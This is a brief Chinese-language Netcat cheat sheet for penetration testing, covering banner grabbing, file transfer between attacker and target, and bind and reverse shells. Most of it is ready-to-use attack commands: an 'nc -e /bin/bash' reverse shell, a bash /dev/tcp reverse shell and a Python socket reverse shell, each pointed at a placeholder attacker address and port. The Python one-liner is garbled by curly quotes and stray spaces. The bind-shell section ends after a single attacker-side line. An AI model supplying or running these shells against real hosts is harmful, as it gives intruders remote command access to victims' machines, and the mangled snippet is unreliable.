Netcat的工具使用总结:
一,Netcat Banner获取
1 | nc [ip-address] [port] |
二,文件传输
例如我们想在目标主机上执行远程命令,所以需要将文件从攻击主机传输到目标主机。首先,设置一个侦听器,并从攻击主机连接到它。使用端口8888用于此目的,将该文件安全保存到桌面
1 | nc -lvp 8888 > 文件路径 |
在攻击机上,我们连接到该8888端口并发送文件
1 | nc [ip-address] [port] < 文件路径 |
三,Bind Shells &Reverse Shells
在渗透测试中,最常见,或者最受欢迎的用法是反向 reverse shell和正向bind shell。反向shell是从目标主机发起到处于监听状态的攻击机器的shell连接方式,又叫被动连接,而正向bind shell是攻击主机通过特定的端口进行侦听目标主机即将到来的连接。在恶意软件中,bind shell又通常被称为后门。
Reverse Shell:
1.设置一个Netcat侦听器,(我们侦听端口8888)
1 | nc -lvp 8888 |
2.接下来我们在目标主机上执行下面的命令来连接我们的攻击主机(记住我们在这个攻击主机上执行了远程代码):
1 | nc [ip-address] [port] -e /bin/bash <for linux> |
若目标主机没有Netcat,我们使用其他方法来代替
Bash反向shell,使用Bash通过使用以下命令从目标主机启动反向shell连接攻击主机:
1 | bash -i > &/dev/tcp/[ip-address]/[port] 0>&1 |
python反向shell
1 | python -c’import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“[ip-address]”,[port])); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); P = subprocess.call([“/ bin / sh”,” - i”]);” |
Bind Shell:
1 | Attacker:nc [ip-address] [port] |